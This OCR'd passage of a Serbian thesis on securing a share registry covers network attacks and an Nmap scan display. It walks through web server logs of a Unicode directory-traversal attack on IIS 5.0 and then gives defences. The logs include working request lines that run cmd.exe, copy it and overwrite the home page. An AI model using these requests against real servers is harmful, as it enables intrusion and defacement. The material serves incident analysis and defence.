Registra akcija i akcionara. Pomislimo samo Sta bi se desilo ukoliko bi neko
tendenciozno ostavio tzv. backdoor za ulazak u sistem Registra ?

5.2.2 MOGUCI NAPADI KROZ MREZU U ZGRADI

Prilikom pristupa razli¢itim segmentima mreZe, korisnik koji ima pravo pristupa
jednom segmentu, ni na koji na¢in ne moze ¢ak ni videti druge segmente sa razli¢itim
ovlas¢enjima pristupa. Mreza Registra akcija 1 akcionara je na opisani nacin odvojena
od centralane mreze.

Medutim, administrator ¢itave mreze moze, jer mu to njegova ovlaséenja dopustaju,
prekonfigurisati virtualne mreze i nedozvoljeno pristupiti pojedinim resursima
Registra. Sli¢nu vrstu napada, sa manjim Sansama na uspeh, mogu izvesti 1 druge
osobe koje imaju pristup racunarskoj mreZzi. Njihov posao je utoliko otezan Sto moraju
koristiti neke od alata za napad na sistem, kao Sto su opisani port skeneri. Jedan od

Cesto koriS¢enih portskenera je Nmap, Ciji je izgled korisnickog interfejsa dat na
sledecoj slici [42] :
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I
—

HEN

Scan Options:

File  Output Help
HUST(3]|1|xanadu vectra playgraund Scan. | Exitl

General Optiong:

w Connect)
5% Stealth

+ Ping Sweep

w UDP Port Scan
w FIMN Stealth

~ Bounce scan:

_i Don't Resalve
_|Fast Scan
_I Range of Ports:

e

I~ Use Decoy(s):

+ TCF Ping
A TCPAICMP
« ICMF Ping

~ Don't Fing
A Input File:

_| Fragmentation
1 Get Identd Infa
_| Resalve All

Im O35 Detection

1 5end on Device:

Iantinnline.u:nm

Output from: nmap -s3 -0 -Dantionline.com xanadu vectra play ground

Interesting ports on vectra.yuma,net (192,162,050 &
Fort State Protocol  Service
13 open top daytime
21 open top ftp
22 open top zsh
23 open top telnet
37 open top time
79 open Lo finger
111 open Lo SUNTRC
113 open Lo auth
i open top login |
old open top zhell
TCF Seguence Prediction: Class=random pozitive increments
Difficulty=14943 {kWorthy challenge!
Femote operating system guess: OpenBSD 2,2 - 2.3
HInteresting ports on playground ,yuma . net. (192 ,168,0,10: I
pn'ri' State Prat meml Seruire : _fr

Slika 5.2 Izgled korisni¢kog interfejsa portskenera Nmap

Da bi imao full pristup resursima sistema, napadacu je neophodno da poznaje i
kriptoloske parametre za autentifikaciju na sistem, $to se moze dovesti u vezu sa
insajderskim napadima. Ipak ne treba smetnuti s uma da postoje 1 drugi nacini pristupa
zasti¢enim resursima koji bi se u ovom slucaju mogli iskoristiti.

5.2.3 MERE ZA SPRECAVANJE NAPADA KROZ INTERNU MREZU

Kao osnovna mera spre¢avanja napada kroz internu mrezu u zgradi, namece se pazljiv
izbor i neprekidna kontrola administratora mreze. Ne treba zaboraviti da pomenuta
osoba ili osobe i imaju prava promene parametara na ruteru, Sto je od presudne
vaznosti za bezbednost sistema u okviru mreze u zgradi. Neophodno je tako definisati
sistem administracije ruterima da jedna osoba ne moze raditi bez prisustva druge.

Kontrola sistema se, takode, odvija na slican nacin kao i kontrola korisnika, a to je

redovna kontrola log fajlova. Istovremeno se vrsi i redovna kontrola logova ra¢unara
koji prate rad optic¢kih kartica i pristup prostorijama u kojima se nalaze ruteri ili
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prostorija u kojima rade ovlaséeni administratori. Takode se vrsi i redovno
pregledanje video snimaka sistema za nadzor.

Pored toga, korisno je, izmedu ostalog, koristiti port skenere za otkrivanje ranjivih
mesta na ruterima, odnosno racunarima u LAN mreZi Registra. Na taj nacin s mogu
otkriti, eventualno napravljeni propusti, prilikom administriranja ruterima u sistemu.
Provere je potrebno vrsiti periodi¢no, imaju¢i u vidu dinamiku promene na
informacionom sistemu i aplikacijama. Poznato je da svaka aplikacija otvara svoju
grupu portova. Prilikom projektovanja i implementacije aplikacije ili servisa
neophodno je preduprediti moguénost nenamenskog otvaranja portova od strane
aplikacije ili servisa. Nenamenski otvoreni portovi su krajnje nepozeljni jer
predstavljaju tacke nekontrolisanog pristupa sistemu.

5.3 NAPADI KROZ SPOLJASNJU KOMUNIKACIONU MREZU

Napadi kroz spoljasnju kominikacionu mrezu su neSto teze izvodljivi, mada ne i
nemoguci. I u ovom sluc¢aju se postavlja pitanje poznavanja kriptoloskih parametara,
§to se opet dovodi u vezu sa insajderskim napadom. Cisti autsajderski napadi
zahtevaju daleko sofisticiranije alate za napad, viSe znanja i umesSnosti nego
insajderski napadi ili napadi kroz informati¢ku mrezu u zgradi.

Spoljasnji napadi obavezno podrazumevaju neprekidno skeniranje portova rutera i
servera informacionog sistema Registra. Istovremeno se vrs$i neprekidno pracenje
saobracaja informacionog sistema Registra 1 njegovih korisnika. Pod pra¢enjem
saobracaja se podrazumeva i pracenje aktivnosti svih servisa koji su aktivni prema
spoljasnjim korisnicima. Stalnim skeniranjem portova i analiziranjem aktivnih servisa,
napadac nastoji da otkrije slobodan port preko koga moZe pristupiti sistemu 1 do¢i do
odredenih podataka ili izvrSiti neovlas€enu izmenu pojedinih podataka. Istovremeno,
kroz slobodan port se moze u sistem uneti i neki od racunarskih virusa, koji bi dalje
pratio aktivnosti sistema ili naneo direktnu Stetu sistemu.

U narednom delu teksta ¢e biti opisan jedan od uocenih napada na Web server
Registra akcija i akcionara. Napad je izveden po scenariju tzv. Francuska veza,
detaljno opisanom u literaturi [43]. Napad je niskog nivoa slozenosti pa za njegovu
primenu kao i za odbranu nije potrebna velika vestina. Takode, nanete Stete nisu od
vitalnog znacaja. Prva neregularnost se uo¢ava pojavom neautorizovane poruke na
Web sajtu. U primeru navedenom u literaturi [43], poruka je imala sledeci izgled :

**** SCRIPT KIDZ, INC****

You, my friendz, are completely owned. 1"m here, your security is
nowhere.

Someone should check your system security coz you sure aren"t.

Prva preduzeta mera je bila zamena napadnutog Web fajla kopijom koja je ¢uvana na
sigurnom mestu, 1 koja nije bila napadnuta. Medutim napad se ponovio, nakon ¢ega se
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pristupilo analizi log fajlova Web servera, na kome je pronaden jedan broj zapisa u

sistemskom log fajlu, koji bi mogli ukazivati na napad.

0370372003 4:01 chewie.hacker.fr W3SVC1 Www-2K
/scripts/../. . /winnt/system32/cmd.exe /c+dir+c

WWW-2K.victim.com
:\ 200 730 484 31

80 GET

www.victim.

0370372003
/scripts/.
www.victim.

0370372003
/scripts/.
www.victim.

0370372003
/scripts/.
www.victim.

0370372003
/scripts/.
www._victim.

0370372003
/scripts/.
www.victim.

03/03/2003
/scripts/..

com MozillaZ4.0+(compatible;+MSIE+5.

4:01 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+d:
com MozillaZ4.0+(compatible;+MSIE+5.

4:02 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+e:
com MozillaZ4.0+(compatible;+MSIE+5.

4:02 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+c:
com MozillaZ4.0+(compatible;+MSIE+5.

4:02 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+c:
com MozillaZ4.0+(compatible;+MSIE+5.

4:02 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+c:
com MozillaZ4.0+(compatible;+MSIE+5.

4:02 chewie.hacker.fr W3SVC1 WWW-2K

/.. /winnt/system32/cmd.exe /c+dir+c:

0;+Windows+98)
WWW-2K.victim.com 80 GET
\ 200 747 484 31
0;+Windows+98)
WWW-2K.victim.com 80 GET
\ 502 381 484 47
0;+Windows+98)
WWW-2K.victim.com 80 GET
\ 200 730 484 31
0;+Windows+98)

80 GET
492 47

WWW-2K.victim.com
\asfroot\ 200 666
0;+Windows+98)

80 GET
492 32

WWW-2K.victim.com
\inetpub\ 200 749
0;+Windows+98)

WWW-2K.victim.com 80 GET
\inetpub\wwwroot 200 1124

499 47 www.victim.com Mozillas4.0+(compatible;+MSIE+5.0;
+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 Www-2K
/“mmc.gif - 404 3387 440 0 www.victim.com
Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

WWW-2K.victim.com 80 GET

0370372003 4:02 chewie.hacker.fr W3SVC1 Www-2K
/mmc.gif - 404 3387 439 0 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

WWW-2K.victim.com 80 GET

0370372003 4:02 chewie.hacker.fr W3SVC1 Www-2K
/scripts/../../winnt/system32/cmd.exe /c+dir+d:
www .victim.com Mozillas4.0+(compatible;+MSIE+5.

WWW-2K.victim.com 80 GET
\ 200 747 484 16
0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 WwWw-2K
/scripts/../. . /winnt/system32/cmd.exe /c+dir+d:
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.

WWW-2K.victim.com 80 GET
\wwwroot\.com 200 229 496 32
0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 WwWw-2K
/scripts/../../winnt/system32/cmd.exe /c+dir+d:
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.

WWW-2K.victim.com 80 GET
\wwwroot\ 200 4113 492 47
0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 Www-2K
/buzzxyz_html - 200 228 444 16 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

WWW-2K.victim.com 80 GET

0370372003 4:03 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/xyzBuzz3.swf - 200 245 324 5141 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
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0370372003 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/index.html - 200 228 484 0 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
http://www.victim.com/buzzxyz.html

0370372003 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/scripts/../../winnt/system32/cmd.exe

/c+rename+d :\wwwroot\detour .html+detour.html.old 502 355 522 31

www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:05 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 488 31
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:05 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../../winnt/system32/cmd.exe

/c+copy+c:\winnt\system32\cmd .Exe+c:\ArA\cmdl.exe 502 382 524 125

www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/scripts/../../ArA/cmdl.exe
/c+echo+"'<title>SKI</title><center><Hl><b><u>****</u>SCRIPT+KIDZ,
INC<u>****</u></h1><br><h2>You,+my+friendz+,are+completely+owned.+I "m+here,
+your+secur ity+is+nowhere.<br>Someone+should+check+your+system+security+coz
+you+sure+aren”t.<br></h2>"+>+c:\ArA\default.htm 502 355 763 31

www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:08 chewie.hacker.fr W3SVC1 Www-2K WWww-2K.victim.com 80 GET
/scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.html+index.html.old
502 355 511 16 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:10 chewie.hacker.fr W3SVC1 WwWw-2K WWwW-2K.victim.com 80GET
/scripts/../../ArA/cmdl.exe

/c+copy+c:\ArA\defaul t.htm+d:\wwwroot\index.html 502 382 514 31

www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/index.html - 200 276 414 15 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

Analizom softvera na Web serveru, ustanovljeno je da je instaliran 1IS Web server,
verzije 5.0. Daljim sagledavanjem karakteristika pomenutog softvera, zaklju¢eno je da
1S Web server, verzije 5.0 ima nedostatak koji omogucava napadacu da lako preuzme
kontrolu nad racunarom. Nedostatak koji je napadac¢ koristio se naziva ,,Web server
file request parsing vulnerability” dok se napad naziva ,Unicode Attack”.
Ustanovljeno je da se server nalazio unutar mreze dok je bio izloZen napadu, Sto je
bilo neocekivano. Doslo se do zakljucka da bi napada¢ mogao ostaviti sebi otvoren
poseban port za ulazak u sistem, kao i da bi mogao raspolagati kopijama osetljivih
podataka i lozinki.

Opisani nedostatak se zasniva na moguénosti izvrSavanja programa cmd.exe u
sistemskom okviru. Program cmd.exe omoguéava izvrSavanje komandi na Web
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serveru. Analizom zapisa u log fajlu trazeni su zapisi u kojima se pojavljuje
cmd.exe, kojiinace ne bi trebalo da se pojavljuje. Otkriven je sledeci zapis :

0370372003 4:01 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/._/. . /winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 31
www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

Navedeni zapis je predstavljao prvi trag. U slu€aju da je napad bio uspeSan napadac bi
mogao izlistati kompletan sadrzaj napadnutog diska C. Prvi deo napada predstavlja
tehniku automatskog skeniranja koja ispituje ranjivost ra¢unara na ovaj tip napada,
medutim bez nanoSenja Stete. Drugi trag je predstavljao zapis koji beleZi pokuSaj
skeniranja diska D, ukoliko postoji :

0370372003 4:01 chewie.hacker.fr W3SVC1 WwWw-2K WWw-2K.victim.com 80 GET
/scripts/._/. . /winnt/system32/cmd.exe /c+dir+d:\ 200 747 484 31
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

Slede¢ih 13 zapisa beleze pretrazivanje razlicitih foldera, kako bi se napadac¢ upoznao
sa sistemskim okruzenjem. Istovremeno je vrSen uvid u Web site Zrtve :

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/._/. . /winnt/system32/cmd.exe /c+dir+e:\ 502 381 484 47
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/._/. . /winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 31
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+dir+c:\asfroot\ 200 666 492 47
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 749 492 32
www.victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroot 200 1124
499 47 www.victim.com Mozilla/Z4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/“mmc.gif - 404 3387 440 0 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WwWw-2K WWww-2K.victim.com 80 GET
/mmc.gif - 404 3387 439 0 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:02 chewie.hacker.fr W3SVC1 WWw-2K WWww-2K.victim.com 80 GET
/scripts/. /. /winnt/system32/cmd.exe /c+dir+d:\ 200 747 484 16
www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET

/scripts/../. . /winnt/system32/cmd.exe /c+dir+d:\wwwroot\.com 200 229 496 32
www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
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0370372003 4:03 chewie.hacker.fr W3SVC1 Www-2K WWww-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+dir+d:\wwwroot\ 200 4113 492 47
www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/buzzxyz._html - 200 228 444 16 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 Www-2K WWw-2K.victim.com 80 GET
/xyzBuzz3.swf - 200 245 324 5141 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/index.html - 200 228 484 0 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
http://www.victim.com/buzzxyz.html

Sada, kada je napada¢ upoznao okruzenje, zapocinje napad. Najpre VrSi
preimenovanje Web stranice kako bi ispitao njenu otpornost na napade. :

0370372003 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/scripts/../../winnt/system32/cmd.exe

/c+rename+d :\wwwroot\detour .html+detour.html.old 502 355 522 31

www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

Zatim kreira folder c:\ArA kako bi u njega smestio cmd.exe i preimenovao ga u
cmdl.exe

0370372003 4:05 chewie.hacker.fr W3SVC1 WWw-2K WWw-2K.victim.com 80 GET
/scripts/../. . /winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 488 31
www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:05 chewie.hacker.fr W3SVC1 WwWw-2K WWw-2K.victim.com 80 GET
/scripts/../../winnt/system32/cmd.exe

/c+copy+c:\winnt\system32\cmd .Exe+c:\ArA\cmdl.exe 502 382 524 125

www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

Postalo je jasno da je napada¢ zatim koristio cmdl.exe za svoj posao. Sada je
potrebno cmdl.exe proglasiti primarnim programom umesto cmd.exe, ¢ime je
napadacu omoguceno da svojom,modifikovanom, Web stranicom zameni na serveru
originalnu :

0370372003 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/scripts/../../ArA/cmdl.exe
/c+echo+""'<title>SKI</title><center><Hl><b><u>****</u>SCRIPT+KIDZ,
INC<u>****</u></h1><br><h2>You,+my+friendz+,are+completely+owned.+1 "m+here,
+your+secur ity+is+nowhere.<br>Someone+should+check+your+system+security+coz
+you+sure+aren”t.<br></h2>"+>+c:\ArA\default.htm 502 355 763 31

www .victim.com Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)
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Napadac zatim pravi kopiju originalnog Web sajta :

0370372003 4:08 chewie.hacker.fr W3SVC1 WwWw-2K WWw-2K.victim.com 80 GET
/scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.html+index.html._.old
502 355 511 16 www.victim.com
Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

Na kraju napada¢ kopira izmenjeni Web sajt preko originalnog, ¢ime je napad
zavrsen:

0370372003 4:10 chewie.hacker.fr W3SVC1 Www-2K WWww-2K.victim.com 80 GET
/scripts/../../ArA/cmdl.exe

/c+copy+c:\ArA\defaul t_htm+d:\wwwroot\index.html 502 382 514 31

www .victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

0370372003 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET
/index.html - 200 276 414 15 www.victim.com
Mozillas4.0+(compatible;+MSIE+5.0;+Windows+98)

Kao Sto se moze videti iz zapisa u log fajlu, napad je trajao svega desetak minuta.

Prevencija od opisanog nacina napada se sastoji pre svega od postupka redovnog
azuriranja softvera. Potrebno je instalirati odgovaraju¢e sigurnosne dodatke koji se
mogu naci na sajtu proizvodaca softvera. Propisno konfigurisanje Web servera bi
takode moglo spreciti opisanu vrstu napada. Za vreme izvrSavanja napada, napadac
zadaje komande racunaru pod korisni¢kim racunom IUSR_COMPTERNAME. Ovaj
korisnicki ratun nema specijalne administratorske privilegije na Web serveru, ve¢ su
mu privilegije u u rangu korisnicke grupe EVERYONE. Korisni¢ka grupa
EVERYONE, ima podrazumevano pravo da izvrSava komande koje se nalaze u
folderu %winnt%/system32. 1z pomenutog razloga, neophodno je grupi
EVERYONE ukinuti prava na izvrSavanje komandi u folderu %winnt%/system32.
Na taj nacin bi se onemogucio opisani napad.

Postoji viSe klasifikacija napada koji mogu biti izvedeni prema informacionom
sistemu. U narednom delu teksta ¢e biti obradeni tipovi napada koji se mogu svrstati u
sledece tri kategorije :

- Prekidanje komunikacije,

- Presretanje komunikacijskih paketa,

- Modifikovanje komunikacijskih paketa,

- Fabrikovanje komunikacijskih paketa.

5.3.1 PREKIDANJE KOMUNIKACIJE

Napada¢ mozZe, pracenjem komunikacije Registra sa ostalim ovlas¢enim subjektima
uociti komunikacioni put koji vodi od Registra do korisnika. U normalnoj
komunikaciji se tok podataka moZe prikazati na sledec¢i nacin :
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Izvor Odrediste

Slika 5.3 Normalni tok podataka od izvora ka odredistu

bile napadnute. U napadnutim tackama se izaziva prekid komunikacije izmedu
Registra 1 ovlaS¢enih eksternih korisnika. Prekid komunikacije se graficki moze
prikazati na sledeci nacin :

Tzror Odredite
Slika 5.4 Prekidanje komunikacije

Prekidanje komunikacije moze dovesti do zastoja u radu celokupnog finansijskog
trzista iz razloga Sto brokeri ne mogu dostaviti naloge za prodaju, a berza ne moze
trgovati jer ne dobija materijal za trgovinu.

Ipak, treba naglasiti da je prekidanje komunikacije lako uocljiv napad, posto na
odrediste ne stizu o¢ekivani podaci.

5.3.2 PRESRETANJE KOMUNIKACIJSKIH PAKETA

Presretanja komunikacije izmedu izvora 1 odrediSta se naziva jo$ i prisluskivanje.
Opisu pojma prisluskivanja se moze pristupiti na viSe nacina i to posmatrajuci sa
strane : motivacije, nacina, upotrebe dobijenih podataka,... Na nacin sli¢an prekidanju
komunikacije, promet kroz mrezu se moze presresti i sacuvati na racunaru napadaca.
Nakon toga se moze vrsiti analiza razmenjenih poruka. Presretanje komunikacijskih
paketa se moZe prikazati na slede¢i nacin :
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Izvor Odrediste

Mapadat

Slika 5.5 Presretanje komunikacije

Postoji moguénost da su podaci do kojih se dode na ovaj nacin Sifrovani. U tom
slucaju se primenjuju razvijene metode kriptoanalize koje mogu dati izvesne rezultate.
Rezultati kriptoanalize zavise od nacina Sifrovanja podataka, kao i od umesnosti i
sposobnosti napadaca.

Ukoliko napadac uspe da dode do dela otvorenog teksta, moguce je da taj deo poruke
iskoristi za informisanje o, recimo, nameri kupovine ili prodaje akcija na berzi, ¢ime
mu se pruza mogucnost da ostvari materijalnu dobit. Informaciju moze sam iskoristit
ili je prodati zainteresovanoj strani.

Prisluskivanje je =znatno teZze otkriti, posmatraju¢i u odnosu na prekidanje
komunikacije. Preseretanje komunikacije i analiza dobijenih podataka, predstavljaju
pasivan napad. 1z razloga male mogucénosti otkrivanja, a potencijalno velike Stete koja
mozZe nastati, opisanom vidu napada treba posvetiti posebnu paznju.

5.3.3 MODIFIKOVANJE KOMUNIKACIJSKIH PAKETA

Metode pristupa racunarskim resursima u ovom sluc¢aju su iste kao 1 u prethodno
opisanim slu€ajevima napada. Modifikovanje podrazumeva kombinaciju presretanja
komunikacijskih paketa, kao i prekidanje komunikacije. Presretnuti paket se najpre
analizira na racunarskom sistemu napadaca. Nakon analize, podaci se modifikuju u
skladu sa interesima i potrebama napadaca 1 prosleduju primaocu. Primaoc se dovodi
u zabludu misle¢i da podaci poticu od originalnog posaljioca. Modifikovanje
komunikacijskih paketa se moZe prikazati na slede¢i nacin :
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Izvor Odrediste

Mapadat

Slika 5.6 Modifikovanje komunikacijskih paketa

Modifikovanje podataka je nesto lakSe otkriti nego prisluskivanje, ali ipak nije tako
jednostavno. Izvodenje napada modifikovanjem komunikacijskih paketa je relativno
sloZzen posao. Neophodno je poznavati kako tehnoloski nivo komunikacije, tako i
logiku razmenjenih podataka, kako bi napad ostao neotkriven.

Posledice opisanog napada mogu biti veoma ozbiljne. U slu€aju informacionog
sistema Registra akcija i akcionara, prilikom, eventualnog, napada presretanjem
podataka, moguce je da se prilikom prenosa izmene podaci o vlasniStvu nad akcijama.
Nakon toga se potpuno legalno upisuju u bazu podataka Registra akcija i akcionara,
¢ime napadac ili njegov nalogodavac sti¢u materijalnu korist.

5.3.4 FABRIKOVANJE KOMUNIKACIJSKIH PAKETA

Moguce je da napadac nakon presretanja i analize presretnutih paketa informacija ima
dovoljno informacija kako bi generisao sopstvene pakete. Tako generisane pakete
Salje kroz komunikacijusku mrezu bilo prema Registru, berzi, berzanskim
posrednicima ili bankama. Ovakvi paketi se mogu relativno lako uociti ukoliko ne
poseduju sve kriptoloSke parametre Kkoji se koriste. Fabrikovanje komunikacijskih
paketa se moze prikazati na slede¢i nacin prikazan na slici 5.7.

Medutim, ukoliko je napada¢ dovoljno vest, ovakvi paketi se ni malo ne moraju

razlikovati od standardnih paketa koji se koriste, tako da ih ucesnici u komunikaciji
mogu uzeti kao originalne. Svakako, ovaj postupak nije ni malo lako izvesti.
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Izvor Odrediste

Napadat

Slika 5.7 Fabrikovanje komunikacijskih paketa
Posledice bi mogle biti opSta pometnja na finansijskom trziStu sa nesagledivim

posledicama. Stoga bi ovaj vid napada mogao biti izuzetno opasan po informacioni
sistem Registra akcija i akcionara.
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6. ZAKLJUCAK

Zastita elektronskih podataka predstavlja izuzetno Siroku oblast, koja se svakim
danom sve viSe razvija. Postoji nepisano pravilo da sve ono Sto je tek napisano ili
objavljeno je vec i zastarelo, $to recito govori o dinamici razvoja ove oblasti.

U delu teksta koji sledi bi¢e dat rezime rada, kao i neka zapazanja koja se odnose na
dalji tok razvoja oblasti zastite i bezbednosti informacionih sistema.

Svako razvijeno finansijsko trZiSte svoje poslovanje zasniva na elektronskoj
komunikaciji i1 na raCunarskim informacionim sistemima. Ova ¢injenica je posledica
prostog razloga, a to je veliki obim razmene informacija koji nije moguce ostvariti na
drugi nacin.

Imaju¢i u vidu navedenu Cd{injenicu, potpuno logi¢no se namece zakljucak o
neophodnosti zastite podataka koji se razmenjuju u procesu trgovanja hartijama od
vrednosti na finansijskom trzistu.

Podaci koji se Cuvaju 1 obraduju na finansijskom trZistu, a samim tim 1 $tite mogu se u
osnovi podeliti na dve grupe :

- Podaci o vlasnicima hartija od vrednosti
Neophodan uslov za trgovinu vrednosnim hartijama je posedovanje
nedvosmislenog dokaza o posedovanju hartija. Kupac u svakom trenutku mora
biti siguran da kupuje hartije od pravog vlasnika. Podaci o vlasnistvu nad
vrednosnim hartijama se u najveéem broju evropskih zemlja ¢uvaju u instituciji
Centralnog registra hartija od vrednosti. U anglosaksonskom konceptu, ne
postoji jedna centralizovana institucija koja garantuje vlasniStvo nad hartijama,
ve¢ je ta institucija, uslovno receno, distribuirana. Medutim, postoji veoma
mocno telo koje kontroliSe rad ovih institucija, Komisija za hartije od vrednosti
SEC u USA, ¢ija je vlast ravna izvrSnoj vlasti u ostalim oblastima drustva.

- Podaci o transakcijama hartija od vrednosti
Svaka transakcija, koja se odigra na finansijskoj berzi ili van nje, mora biti
pravovremeno obradena 1 poslata Centralnom registru hartija od vrednosti na
obradu u smislu promene vlasniStva nad hartijama. Transakcija je veoma
sloZen 1 vremenski ograni€en proces, tako da postoji Citav niz propisanih radnji
koje se moraju izvrsiti u tacno definisanom roku, inace je transakcija nistavna.
U te aktivnosti izmedu ostalog spada 1 transakcija novca sa racuna kupca na
racun prodavca, §to je veoma osetljiv postupak.

Eventualna kompromitacija podataka koji se razmenjuju u okviru poslovanja
finansijskog trziSta moze dovesti do nesagledivih posledica.
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Pometnja po pitanju vlasniStva nad hartijama bi mogla dovesti u pitanje ko su zapravo
vlasnici pojedinih firmi, te upravni organi firme ne bi mogli donositi odluke u cilju
efikasnog poslovanja. Kao posledica bi se mogla javiti ekonomska degradacija firme i
njen kolaps. Ukoliko bi se sliCan scenario odigrao u viSe vodecih kompanija jedne
drzave, posledica bi mogla biti destabilizacija klju¢nih faktora ekonomije Citave
zemlje ili cak cCitave privrede te zemlje.

Napad na podatke kojima se prenose informacije o izvrSenim transakcijama na
finansijskoj berzi ili van nje, za posledicu bi imale de facto, veoma sli¢an ishod kao i
napad na podatke koji se odnose na vlasnistvo. Jedino $to bi u tom slucaju bio dodatni
problem je Cinjenica da bi pometnji po pitanju vlasniStva prethodila pomenja po
pitanju izvrSenih transakcija

Bezbednost na polju finansijskog trzista je do skoro bila predmet medusobnih
dogovora pojedinih uc€esnika u radu finansijskog trziSta. Zastita podataka je Cesto bila
i na veoma visokom nivou, ali bi problemi nastajali ukoliko bi doslo do novih
povezivanja sa ostalim u¢esnicima na trzistu.

Pojavom PKI sistema ovaj problem je reSen.

Pojavom procesa globalizacije, dolazi kako do stapanja ekonomja pojedinih zemalja,
tako 1 do stapanja njihovih finansijskih trzista. Ocigledan primer je Evropska unija
koja u sebi sadrZi viSe zemalja razlicitih po stepenu razvijenosti, a koja opet veoma
intenzivno trguje sa Sjedinjenim Ameri¢kim DrZzavama i Japanom, kao najrazvijenijim
zemljama sveta. Kao logi¢an sled dogadaja, namece se jedinstven sistem zastite radi
lakse, brze i bezbednije komunikacije, $to je oliceno u PKI sistemu zastite.

Za sada su smart kartice, kao nosioci kriptografskin parametara preovladale na
finansijskom trzistu, dok su ve¢ na vidiku nove tehnologije nosilaca kriptografskih
